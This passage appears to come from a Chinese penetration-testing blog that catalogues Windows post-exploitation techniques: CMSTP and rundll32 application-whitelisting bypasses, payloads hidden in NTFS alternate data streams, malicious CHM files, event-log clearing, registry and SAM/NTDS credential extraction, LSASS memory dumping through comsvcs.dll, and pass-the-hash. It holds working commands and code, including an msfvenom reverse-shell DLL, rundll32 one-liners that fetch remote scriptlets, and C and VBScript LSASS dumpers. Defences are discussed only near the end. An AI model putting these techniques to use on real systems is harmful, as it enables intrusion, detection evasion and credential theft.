当我们成功从目标系统中提取出文件之后,我们将使用SecretsDump.py提取出NTLM哈希:

secretsdump.py -ntds ntds.dit -system system.bak LOCAL

 

Relevant Link:  

https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/ 
http://www.52bug.cn/hacktool/4723.html

 

0x11:CMSTP

1. 原理介绍

CMSTP是一个与Microsoft连接管理器配置文件安装程序关联的二进制文件。它接受INF文件,这些文件可以通过恶意命令武器化,以脚本(SCT)和DLL的形式执行任意代码。

它是一个受信任的Microsoft二进制文件,位于以下两个Windows目录中。 

C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe

AppLocker默认规则允许在这些文件夹中执行二进制文件,因此我们可以用它来作为bypass的一种方法。使用这个二进制文件可以绕过AppLocker和UAC。因为传输的并不是二进制文件,所以也会绕过一些杀软的白名单。

2. 攻击过程

1)执行本地dll文件

标准的配置文件可以通过安装启动CMAK(Connection Manager Administration Kit)来创建,INF文件的内容有很多项,攻击者想要利用INF文件,只需要保留一些重要的项,以下是简化的INF文件内容

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\test.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

需要注意到的是INF文件的RegisterOCXSection需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置。这样就能从本地或Webdav中加载DLL文件。

[RegisterOCXSection]
\10.10.10.10webdavAllTheThings.dll

命令行:

cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
# Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

可以通过Metasploit Framework的msfvenom生成恶意DLL文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444 -f dll &amp;gt; /root/Desktop/pentestlab.dll

2)直接启动本地新进程

还可以将RegisterOCXSection 换成RunPreSetupCommandsSection,在此项下可以直接执行命令程序,例如:

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
c:\windows\system32\calc.exe
taskkill /IM cmstp.exe /F
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="CorpVPN"
ShortSvcName="CorpVPN"

cmstp.exe /s ./cmstp.inf

3)执行sct文件

除了DLL文件外,cmstp还能够运行SCT文件,这在渗透操作中扩展了二进制的可用性。可以将其用作执行PowerShell命令的备选解决方案,以应对本机PowerShell被阻止的情况。UnRegisterOCXSection需要包含scriptlet的URL。最终的INF文件需要包含以下内容:

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://10.0.0.2/tmp/powersct.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

当INF文件被执行一个新的窗口将打开,这将允许用户执行PowerShell命令。

cmstp.exe /s cmstp.inf 

4)下载并解析远程inf文件

cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
# Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll. 

Relevant Link:   

https://www.freebuf.com/articles/system/172515.html 
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/md/Cmstp.exe.md

0x12:Rundll32

1. 原理介绍

  • rundll32.exe程序来执行任意二进制文件(dll) 
    • rundll32.exe "C:\Windows\twain_64.dll
  • Rundll32.exe调用系统中原生存在的dll中的未记录dll函数
    • 调用shell32.dll函数执行控制面板项文件(.cpl)
      • Control RunDLL
      • Control RunDLLAsUser
    • 双击.cpl文件也会导致rundll32.exe执行 
  •  Rundll32还可用于执行JavaScript等脚本。可以使用类似以下语法来完成此操作:
    • rundll32.exe javascript:“..\mshtml,RunHTMLApplication”;document.write();GetObject(“script:https://www.example.com/malitive.sct”)“  

1)直接执行dll文件

rundll32.exe c:\\windows\\debug\\item.dat,ServiceMain aaaa
rundll32.exe "C:\Windows\twain_64.dll",EntryPoint

2)调用系统中原生存在的dll中的未记录dll函数

2.1)调用shell32.dll函数执行控制面板项文件(.cpl)
rundll32 shell32.dll,Control_RunDLL <文件名>
control.exe test.cpl

参阅这篇文章

2.2)Advpack.dll - LaunchINFSection

advpack.dll用于帮助硬件和软件读取和验证·INF文件。正如老话所说,”大部分安全问题本质就是功能被误用“,advpack.dll也可以被攻击者利用进行代码/指令代理执行,

rundll32.exe advpack.dll,LaunchINFSection  c:\test.inf,DefaultInstall_SingleUser,1,
C:\\Windows\\System32\\rundll32 advpack.dll,LaunchINFSectionEx C:\\Windows\\system32\\ieuinit.inf,Install
  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: Yes
2.3)Advpack.dll - RegisterOCX
rundll32.exe advpack.dll,RegisterOCX calc.exe
  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: Yes
2.4)zipfldr.dll - RouteTheCall 
rundll32.exe zipfldr.dll,RouteTheCall calc.exe

 

2.5)url.dll - OpenURL 
rundll32  url.dll,OpenURL file://C:/Windows/system32/calc.exe 
rundll32.exe url.dll,OpenURL "C:\test\calc.hta"
rundll32.exe url.dll,OpenURL "C:\test\calc.url"
rundll32.exe  url.dll,OpenURL http://192.168.1.4/Micropoor_url_dll.hta

2.6)url.dll - FileProtocolHandler
rundll32.exe url.dll, FileProtocolHandler calc.exe

2.7)ieframe.dll - OpenURL 
rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"
2.8)shdocvw.dll - OpenURL
rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"
2.9)ieadvpack.dll - LaunchINFSection
rundll32.exe ieadvpack.dll,LaunchINFSection test.inf,,1,
2.10)shell32.dll - ShellExec_RunDLL
rundll32.exe shell32.dll,ShellExec_RunDLL  C:\Windows\System32\calc.exe

2.11)pcwutl.dll - LaunchApplication 
rundll32.exe C:\Windows\System32\pcwutl.dll,LaunchApplication calc.exe
2.12)Setupapi.dll - InstallHinfSection
# Launch an executable file via the InstallHinfSection function and .inf file section directive.
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\\Tools\\calc_exe.inf
2.13)Syssetup.dll - SetupInfObjectInstallAction
# Launch an executable file via the SetupInfObjectInstallAction function and .inf file section directive.
rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\something.inf

3)执行javascript脚本 

rundll32 javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://reverse-tcp.xyz/payload.sct");window.close();
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

参阅这篇文章。 

Relevant Link:    

https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md
http://www.ggsec.cn/appLockerList1.html
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/md/Rundll32.exe.md

0x13:Regsvcs/Regasm

1. Regsvcs.exe

regsvcs.exe /U regsvcs.dll
# Loads the target .DLL file and executes the UnRegisterClass function.

regsvcs.exe regsvcs.dll
# Loads the target .DLL file and executes the RegisterClass function.

2. Regasm.exe

regasm.exe /U AllTheThingsx64.dll
# Loads the target .DLL file and executes the UnRegisterClass function.

regasm.exe AllTheThingsx64.dll
# Loads the target .DLL file and executes the RegisterClass function.

Relevant Link:    

https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md 
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/md/Regsvcs.exe.md
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/md/Regasm.exe.md 
https://mp.weixin.qq.com/s?__biz=Mzg3MDAzMDQxNw==&mid=2247487706&idx=1&sn=749e7fee20d11b1ed2a2e430aaf46027&scene=21#wechat_redirect

0x14:利用NTFS ADS进行数据隐藏 

1. 原理介绍

在NTFS文件系统中,每个NTFS格式的分区都包含一个主文件表结构(Master File Table),这个表结构中保存了

  • 该分区上每个文件及目录的相关信息
  • 以及文件属性, 如 Extended Attributes (EA)
  • Data(当存在多个数据属性时称为Alternate Data Streams ,交换数据流,即ADS)

而用户可以为文件新建交换数据流,并将存储任意二进制数据在其中,如将完整的文件在其中,而在Windows系统的资源管理器中,载体文件不会有任何变化(如文件大小、时间戳),攻击者完全可以利用该特性将完整的文件隐藏在交换流中。

ADS的操作也可以通过CMD命令进行操作,其操作方法如下:

echo "for test" > sc.dat:stream

攻击者可能会将恶意数据或者二进制文件存储在文件的备用流(ADS)中,而不是直接存储在文件中,这种技术可用于文件隐藏、防病毒软件静态扫描、主机取证分析等安全手段的绕过。

如下的代码演示在ADS中隐藏完整的文件及存取等操作。

bool set_ads(TCHAR* host_file,TCHAR* payload_filepath)
{
  bool ret = false;
  BYTE read_buf[0x1000];
  DWORD read_cb, write_cb;
  TCHAR finalpath_buf[MAX_PATH * 2];
  HANDLE final_handle = INVALID_HANDLE_VALUE;
  HANDLE payload_handle = INVALID_HANDLE_VALUE;

  wsprintf(finalpath_buf, _TEXT("%s:stream_name"), host_file);
  final_handle = CreateFile(finalpath_buf, FILE_ALL_ACCESS,
    FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (final_handle == INVALID_HANDLE_VALUE)
  {
    goto SAFE_EXIT;
  }
  
  payload_handle = CreateFile(payload_filepath, FILE_READ_ACCESS,
    FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (payload_handle == INVALID_HANDLE_VALUE)
  {
    goto SAFE_EXIT;
  }

  do 
  {
    if (!ReadFile(payload_handle, read_buf, 0x1000, &read_cb, NULL))
    {
      goto SAFE_EXIT;
    }
    if (!WriteFile(final_handle, read_buf, read_cb, &write_cb, NULL) && write_cb != read_cb)
    {
      goto SAFE_EXIT;
    }
    if (read_cb != 0x1000)
    {
      break;
    }
  } while (true);

  
  ret = true;

SAFE_EXIT:
  if (final_handle != INVALID_HANDLE_VALUE)
  {
    CloseHandle(final_handle);
  }
  if (payload_handle != INVALID_HANDLE_VALUE)
  {
    CloseHandle(payload_handle);
  }
  return ret;
}

bool read_ads(TCHAR* host_path, TCHAR* stream_name, TCHAR* save_path)
{
  bool ret = false;
  BYTE read_buf[0x1000];
  DWORD read_cb, write_cb;
  TCHAR finalpath_buf[MAX_PATH * 2];
  HANDLE stream_handle = INVALID_HANDLE_VALUE;
  HANDLE save_handle = INVALID_HANDLE_VALUE;

  wsprintf(finalpath_buf, _TEXT("%s:%s"), host_path, stream_name);
  stream_handle = CreateFile(finalpath_buf, FILE_ALL_ACCESS,
    FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (stream_handle == INVALID_HANDLE_VALUE)
  {
    goto SAFE_EXIT;
  }

  save_handle = CreateFile(save_path, FILE_WRITE_ACCESS,
    FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (save_handle == INVALID_HANDLE_VALUE)
  {
    goto SAFE_EXIT;
  }

  do 
  {
    if (!ReadFile(stream_handle, read_buf, 0x1000, &read_cb, NULL))
    {
      goto SAFE_EXIT;
    }
    if (!WriteFile(save_handle, read_buf, read_cb, &write_cb, NULL) && write_cb != read_cb)
    {
      goto SAFE_EXIT;
    }
    if (read_cb != 0x1000)
    {
      break;
    }
  } while (true);


  ret = true;

SAFE_EXIT:
  if (stream_handle != INVALID_HANDLE_VALUE)
  {
    CloseHandle(stream_handle);
  }
  if (save_handle != INVALID_HANDLE_VALUE)
  {
    CloseHandle(save_handle);
  }
  return ret;
}

int _tmain(int argc, _TCHAR* argv[])
{
  if(set_ads(_TEXT("c:\\windows\\tasks\\sc.dat"), _TEXT("help.txt")))
  {
    _tprintf(_TEXT("set fail!!!\r\n"));
  }

  if(read_ads(_TEXT("c:\\windows\\tasks\\sc.dat"),_TEXT("stream_name"), _TEXT("help_fromads.txt")))
  {
    _tprintf(_TEXT("read fail!!!\r\n"));
  }
  return 0;
}
View Code

0x15:修改文件权限(File and Directory Permissions Modification)

1. 原理介绍

文件和目录权限通常由文件或目录所有者指定的自主访问控制列表(DACL)管理。

自主访问控制列表(DACL)是一个最普遍类型的访问控制列表(ACL)。在一个DACL(Discretionary Access Control List)中,指出了允许和拒绝某用户或用户组的存取控制列表。当一个进程需要访问安全对象时,系统就会检查DACL来决定进程的访问权。

如果一个对象没有DACL,则说明任何人对这个对象都可以拥有完全的访问权限。

用户可以使用attrib.exe二进制文件修改特定文件的属性,攻击者可以通过RCE漏洞,进而修改文件或目录的权限和属性以攻破DACL的保护。

  • 隐藏文件: attrib +h filename
  • 授予完全访问权限:icacls . /grant Everyone:F /T /C /Q

著名的WannaCry 就使用了attrib +h和icacls . /grant Everyone:F /T /C /Q 隐藏其某些文件并授予所有用户完全访问控制权限。 

0x16:CHM文件隐藏代码执行(Compiled HTML File)

1. 原理介绍

CHM文件是一种“已编译的HTML文件”,是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。而该类型的文件是可以用Windows自带的hh.exe文件来打开的。

CHM文件可以包含各种文件,如

  • HTML文件
  • 图像
  • 与脚本相关的编程语言

攻击者可能会滥用此技术来隐藏恶意代码,传输包含代码的自定义CHM文件。并且可以绕过一些未升级的系统上的应用程序白名单。Silence组织就曾使用恶意CHM文档攻击俄罗斯银行。

2. 攻击过程

编写CHM文件需要准备一个HTML文件,如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
  <title>title</title>
    <script type="text/javascript">
    var objShell
          var objShell= new ActiveXObject("WScript.Shell")
          var iReturnCode=objShell.Run("calc.exe",0,true)
</script>
</head>
<body>
</body>
</html>

CHM文件的制作工具比较多,这里推荐用easy CHM,可以从官网下载到。

打开easy chm后点击新建,将HTML文件单独放在一个文件夹中,浏览的路径是一个文件夹路径

确定之后,点击编译即可。

编译结果如下,

双击运行生成的CHM文件,弹出计算器。

在操作系统层面,其底层是调用了""C://Windows//hh.exe""进行文件解析和script代码执行。

"cmdline": "\"C:\\Windows\\hh.exe\" C:\\Users\\Administrator\\Desktop\\LegendM2_2016-04-07合击连击引擎\\legendm2帮助说明.chm"

同样通过hh.exe可以对CHM文件进行反编译,从中提取html源代码,

hh -decompile target_folder chm_path

0x17:入侵痕迹清除(Clear Command History) 

恶意代码常常会包含很多删除文件的操作。通过删除文件,攻击者可以清除入侵过程中的痕迹,防止留下证据被防御者找到。删除文件的方法有很多,大多数是用一些库函数,API,system命令等等。具体代码如下:  

int main()
{ 
 string dirName = "D:\\test";  
 bool  flag = RemoveDirectory(dirName.c_str());` 
 return 0; 
} 
int main()
{
  string path = "c:\\test.chm";
  rmdir(path.c_str());
  return 0;
}
int main()
{
  string command;
  command = "rd /s /q c:\\test ";
  system(command.c_str());
}
int main()
{
  string command;
  command = "del  /F /Q C:\test.txt ";
  system(command.c_str());
}
View Code

除了删除文件,一般还会清除日志Windows事件日志。Windows事件日志是计算机警报和通知的记录。

Microsoft将事件定义为“系统或程序中需要通知用户或添加到日志中的任何重要事件”。事件有三个系统定义的来源:

  • 系统
  • 应用程序
  • 安全

执行与帐户管理、帐户登录和目录服务访问等相关的操作的对手可以选择清除事件以隐藏其活动。

wevtutil cl system
wevtutil cl application
wevtutil cl security 

Relevant Link:   

https://mp.weixin.qq.com/s?__biz=Mzg3MDAzMDQxNw==&mid=2247487706&idx=2&sn=56a5e0bed9df5de3f443d1d05752464d&scene=21#wechat_redirect

 

8. 凭证访问

0x1:Credentials in Registry

  • Local Machine Hive:reg query HKLM /f password /t REG_SZ /s
  • Current User Hive:reg query HKCU /f password /t REG_SZ /s
  • Export the target Registry key and save it to the specified .REG file within an Alternate data stream:reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
  • reg.exe save hklms\ystem c:\exfil\system.bak

0x2:Credential Dumping(秘钥窃取)

1. SAM (Security Accounts Manager)

# SAM can be extracted from the Registry with Reg:
reg save HKLM\sam sam
reg save HKLM\system system

2. Cached Credentials 

  • pwdumpx.exe
  • gsecdump
  • Mimikatz

3. Local Security Authority (LSA) Secrets

  • pwdumpx.exe
  • gsecdump
  • Mimikatz
  • secretsdump.py

4. NTDS from Domain Controller

The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.

  • Volume Shadow Copy
  • secretsdump.py
  • Using the in-built Windows tool, ntdsutil.exe
  • Invoke-NinjaCopy

5. Comsvcs.dll

rundll32 C:\windows\system32\comsvcs.dll MiniDump "1908 C:\inetpub\wwwroot\dump.bin full"
rundll32 C:\windows\system32\comsvcs.dll MiniDump "[LSASS_PID] dump.bin full"

comsvcs.dll exports a function called MiniDumpW which appears to have been designed specifically for use by rundll32. It will accept three parameters:

  • the first two are ignored.
  • The third parameter should be a UNICODE string combining three tokens/parameters wrapped in quotation marks.
    • The first is the process id
    • the second is where to save the memory dump
    • third requires the keyword “full” even though there’s no alternative for this last parameter.

注意,这本质上是在跨进程读取内存,所以要求当前账户具备访问目标进程的权限。

C代码如下:

#define UNICODE
#include <windows.h>
#include <stdio.h>

typedef HRESULT (WINAPI *_MiniDumpW)(
  DWORD arg1, DWORD arg2, PWCHAR cmdline);
  
typedef NTSTATUS (WINAPI *_RtlAdjustPrivilege)(
  ULONG Privilege, BOOL Enable, 
  BOOL CurrentThread, PULONG Enabled);

// "<pid> <dump.bin> full"
int wmain(int argc, wchar_t *argv[]) {
    HRESULT             hr;
    _MiniDumpW          MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG               t;
    
    MiniDumpW          = (_MiniDumpW)GetProcAddress(
      LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
      
    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
      GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
    
    if(MiniDumpW == NULL) {
      printf("Unable to resolve COMSVCS!MiniDumpW.\n");
      return 0;
    }
    // try enable debug privilege
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
        
    printf("Invoking COMSVCS!MiniDumpW(\"%ws\")\n", argv[1]);
   
    // dump process
    MiniDumpW(0, 0,  argv[1]);
    printf("OK!\n");
    
    return 0;
}
View Code

VB代码如下: 

Option Explicit

Const SW_HIDE = 0

If (WScript.Arguments.Count <> 1) Then
    WScript.StdOut.WriteLine("procdump - Copyright (c) 2019 odzhan")
    WScript.StdOut.WriteLine("Usage: procdump <process>")
    WScript.Quit
Else
    Dim fso, svc, list, proc, startup, cfg, pid, str, cmd, query, dmp
    
    ' get process id or name
    pid = WScript.Arguments(0)
    
    ' connect with debug privilege
    Set fso  = CreateObject("Scripting.FileSystemObject")
    Set svc  = GetObject("WINMGMTS:{impersonationLevel=impersonate, (Debug)}")
    
    ' if not a number
    If(Not IsNumeric(pid)) Then
      query = "Name"
    Else
      query = "ProcessId"
    End If
    
    ' try find it
    Set list = svc.ExecQuery("SELECT * From Win32_Process Where " & _
      query & " = '" & pid & "'")
    
    If (list.Count = 0) Then
      WScript.StdOut.WriteLine("Can't find active process : " & pid)
      WScript.Quit()
    End If

    For Each proc in list
      pid = proc.ProcessId
      str = proc.Name
      Exit For
    Next

    dmp = fso.GetBaseName(str) & ".bin"
    
    ' if dump file already exists, try to remove it
    If(fso.FileExists(dmp)) Then
      WScript.StdOut.WriteLine("Removing " & dmp)
      fso.DeleteFile(dmp)
    End If
    
    WScript.StdOut.WriteLine("Attempting to dump memory from " & _
      str & ":" & pid & " to " & dmp)
    
    Set proc       = svc.Get("Win32_Process")
    Set startup    = svc.Get("Win32_ProcessStartup")
    Set cfg        = startup.SpawnInstance_
    cfg.ShowWindow = SW_HIDE

    cmd = "rundll32 C:\windows\system32\comsvcs.dll, MiniDump " & _
          pid & " " & fso.GetAbsolutePathName(".") & "\" & _
          dmp & " full"
    
    Call proc.Create (cmd, null, cfg, pid)
    
    ' sleep for a second
    Wscript.Sleep(1000)
    
    If(fso.FileExists(dmp)) Then
      WScript.StdOut.WriteLine("Memory saved to " & dmp)
    Else
      WScript.StdOut.WriteLine("Something went wrong.")
    End If
End If
View Code

Relevant Link:   

https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/ 
https://lolbas-project.github.io/lolbas/Libraries/Comsvcs/

 

9. 横向移动

0x1:Hash传递攻击

维基百科对哈希传递的定义为:

Pass the hash is a hacking technique that allows an attacker to authenticate to a remote server/service by using the underlying NTLM and/or LanMan hash of a user's password, instead of requiring the associated plaintext password as is normally the case.

意为攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

1. SMB协议简介

SMB协议是一种通过网络在File sharing、printer sharing、named pipes、mail slots以及RPC之间操作数据的协议,CIFS为其跨平台公开版本,是客户系统在网络上向服务器请求文件和打印服务的运行机制。

1)协议发展历史脉络

SMB协议版本发展路线如下:

  • CIFS – The ancient version of SMB that was part of Microsoft Windows NT 4.0 in 1996. SMB1 supersedes this version.
  • SMB 1.0 (or SMB1) – The version used in Windows 2000, Windows XP, Windows Server 2003 and Windows Server 2003 R2
  • SMB 2.0 (or SMB2) – The version used in Windows Vista (SP1 or later) and Windows Server 2008
  • SMB 2.1 (or SMB2.1) – The version used in Windows 7 and Windows Server 2008 R2,SMB协议支持直接运行在TCP上或封装运行在NetBIOS协议上
  • SMB 3.0 (or SMB3) – The version used in Windows 8 and Windows Server 2012

2)协议交互过程

以SMB2协议为例,其分为会话协商、用户或共享认证、资源访问等过程:

 

  • SMB Negotiate阶段:客户端发送一个SMB Negotiate Request请求数据包,与服务端协商SMB协议的版本,服务端返回SMB Negotiate Response回应
  • SMB Session Setup阶段:经过协商之后,客户端通过SMB Session Setup Request数据包向服务端发起一个用户或共享认证,由服务器返回SMB Session Setup Response判断允许或拒绝客户端的连接
  • SMB Tree Connect阶段:完成协商和认证后,客户端会得到一个SessionId,客户端使用该Id发送SMB Tree Connect Request数据包将其想访问的特定网络资源告诉服务端,默认会先请求\IPC$

在SMB协议协议中有两种安全模式:

  • 共享级的安全模式:这种安全模式需要一个密码访问网络上共享资源,用户通过正确的密码来访问网络资源
  • 用户级的安全模式(默认使用):这是共享级的增强版,必须使用一对登录名/密码来访问共享资源

在具体实现认证协商过程(SMB Session Setup阶段)中,SMB协议通过Kerberos协议或NTLM协议来完成认证,

需要注意的是,所谓的NTML Hash传递和Kerberos Hash传递攻击,就是指SMB底层具体依托的协议,本质上这不是一个漏洞,是Windows的一个原生机制设计。类似于你家的钥匙丢了,小偷用钥匙打开你家门是自然的事情,因为钥匙本来就是设计成用来开门的,而不管拿这个钥匙的是谁。

为了更好地理解NTML/Kerberos Hash传递攻击,我们接下来讨论一下NTML哈希。

3)NTLM协议与Hash的关系

早期SMB协议在网络上传输明文口令,很容易遭到秘钥窃取。

后来windows改进为 LAN Manager Challenge/Response 验证机制,但还是很简单以至很容易就被破解,后来微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。

所谓的“Challenge-Response挑战/响应验证机制”,这里简单解释如下,我们还是从最简单的密码认证设计思路开始:

  • Client需要向Server证明自己的身份
  • Client和Server都共享一个秘密Secret,而这个Secret可以证明Client 的身份
  • 所以Client必须向Server提供这个秘密,但显而易见,Client不能向其它人泄露这个秘密,否则别人就可以伪造它
  • 那么Client和Server怎么进行认证呢?既然Client不能泄露这个秘密,于是想了一个办法
    • Server先给Client一个Challenge(一个随机数)
    • Client用这个Challenge作为Key加密Secret,然后发送给Server
    • Server使用Challenge解密得到Secret,就可以验证Client的身份是否合法 

后来当人们提出Windows密码使用Hash保存后,就演变出NTLM v1: 

可以看到在SMB Negotiate Protocol Response中,不仅协商了SMB版本,还会将8字节的Challenge返回至Client,Client使用这个Challenge将LM_Hash和NT_Hash加密后发送给Server进行验证

但是NTLM v1还有一个问题,如果上述数据包被恶意第三方截获得到Challenge和加密后的Hash值,那么LM_Hash和NT_Hash也容易泄露。

所以微软改进后加入了TimeStamp时间戳来防止这种攻击,也就是NTLM v2。

 

上述是NTLM协议在Workgroup环境下的认证过程。

在域环境下的认证,则需要Client向Domain Controller域控制器请求Challenge,然后使用该Challenge向Server发送加密后的Hash,Server会将收到的加密后的Hash转交给DC域控制器来验证Client身份的真假。 

2. PhH攻击原理

从上述流程可以看到,最后一步的NTML Hash其实本质上就是key秘钥了,NTLMv2防御的是网络嗅探攻击,但是如果攻击者通过其他方式(例如内存hashdump)直接拿到了这个NTML Hash,本质上也就相当于秘钥发生了泄露。攻击者可以利用这个NTML Hash伪装成已经验证通过的客户端以此来登录服务器,也即所谓的NTML Hash传递攻击。

同样的问题也发生在Kerberos验证体系上,本质是同一类问题。

回到问题的本质,ptH的问题本质是NTML Hash秘钥泄露问题,pth只是一种无明文认证的手段,我们还需要针对具体的服务进行攻击,这里以smb服务为例。

通常我们访问一个unc路径时,不考虑double-hop的情况下,如果没有指定windows会自动用当前用户的凭据进行ntlm认证,例如命令dir \\Target\aaa。

由于windows某些ssp会在lsass中缓存hash值,并使用它们来ntlm认证,那么理论上我们如果在lsass中添加包含目标账户的hash的合法数据结构,就可以在使用类似dir这些命令时用目标账户进行认证,这也是mimikatz中pth功能的原理

3. PhH防御手段

  • 禁止NTLM认证:一劳永逸地阻止了PtH,但是NTLM认证已经被微软使用了很长时间,完全禁止可能会破坏已部署的一些环境,在实际应用中阻力较大。
    • 工作组环境可以在本地安全策略->用户权限分配->拒绝从网络访问这台计算机配置是否允许用户或用户组网络登录:
  • 防止NTLM Hash被获取到:实时检测并阻断用于哈希窃取的恶意二进制文件和恶意脚本文件(例如minikatz)
  • 删除用户凭证:我们知道,lsass进程会缓存用户凭据,有明文有Hash,这取决于使用的ssp类型以及补丁情况
    • 上图中msv、tspkg、wdigest、kerberos这几个ssp都获取到了凭据,它们分别用于Terminal Server认证(RDSH),ntlm认证,摘要认证以及kerberos认证。 

    • kb2871997会删除除了wdigest ssp以外其他ssp的明文凭据,但对于wdigest ssp只能选择禁用。用户可以选择将“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential”更改为0来禁用。
  • Protected Users(受保护用户):受保护用户是一个新的域全局安全组,对于该组的成员,Windows 8.1设备或Windows Server 2012 R2主机不会缓存受保护用户不支持的凭据。如果这些组的成员登录到运行早于Windows 8.1的Windows版本的设备,则该组的成员没有其他保护。
  • Additional LSA Protection:LSA(包括本地安全机构服务器服务(LSASS)进程)验证用户是否进行本地和远程登录,并实施本地安全策略。Windows 8.1操作系统为LSA提供额外保护,以防止未受保护的进程读取内存和代码注入。启用此功能后无法把debugger attach到进程上。在win8.1及2012 r2以上有效,启用的方法是
    • reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1
    • 然后重启
  • Microsoft本地管理员密码解决方案(LAPS):LAPS是用于管理计算机本地用户密码的一个客户端扩展(CSE),在域中依赖比较少,核心在于组策略支持。LAPS一个重要功能是随机化所有域成员本地管理员密码,密码按照较强的密码策略生成,定期修改。这使得用相同凭据横向渗透变得很困难。本地管理员密码明文存储在AD中,仅有管理员及获得管理员委派的账户能访问到。
  • Credentials Guard:Credentials Guard是win10中引入的新功能,能保护NTLM密码哈希值,Kerberos票证授予票证和应用程序存储的凭据。该进程是唯一能使用明文凭据的进程,它的原理大概如下:
    • 当NTLM认证过程中需要用到例如ntlm hash这类凭证的时候(第三步),将Credentials Guard视为黑箱,由lsass等进程输入生成NetNTLM所需的信息(第二步收到的challenge等等),由CG处理并输出结果,而CG本身内存禁止读取,使得mimikatz这一类工具无从下手
  • NetNTLM Downgrade AttackNetNTLM有两个版本,v1和v2。v1相比v2更加脆弱,因此如果我们能将NetNTLMv2降级为v1,破解的效率会更高。如果能降级到NetLM,那么爆破成功率就变得极高。一种实现的方法是修改注册表使Windows允许在网络认证中发送算法较弱的NetHash例如NetNTLMv1,而实际上我们可以直接与NTLM SSP交互而不必产生网络流量,并能获取到NetNTLMv1用于降低破解的难度。   

总结一下:

由于NTLM认证本身具有缺陷性,导致攻击者可以在不知道明文密码,只知道密码Hash的情况下完成认证。这个缺陷就目前来看无法修复,微软也只能建议使用更安全的kerberos协议来代替ntlm协议,而其发布的补丁也并没有触及PtH这种攻击思想的本质,仅仅是增大了攻击的难度或者粗暴地禁止NTLM认证,因此依然存在绕过的可能。 

Relevant Link:

https://www.freebuf.com/articles/terminal/80186.html
http://blog.sycsec.com/2018/10/02/What-is-Pass-the-Hash-and-the-Limitations-of-mitigation-methods/ 
http://sh1yan.top/2019/05/19/Hash-Passing-Attack-explore/

0x2:远程主机指令执行【蠕虫传播主要手段】

1. 基于SMB协议的指令执行

1)利用PsExec向远程主机执行指令

PsExec 是由 Mark Russinovich 创建的 Sysinternals Suite 中包含的工具。最初,它旨在作为系统管理员的便利工具,以便他们可以通过在远程主机上运行命令来执行维护任务。

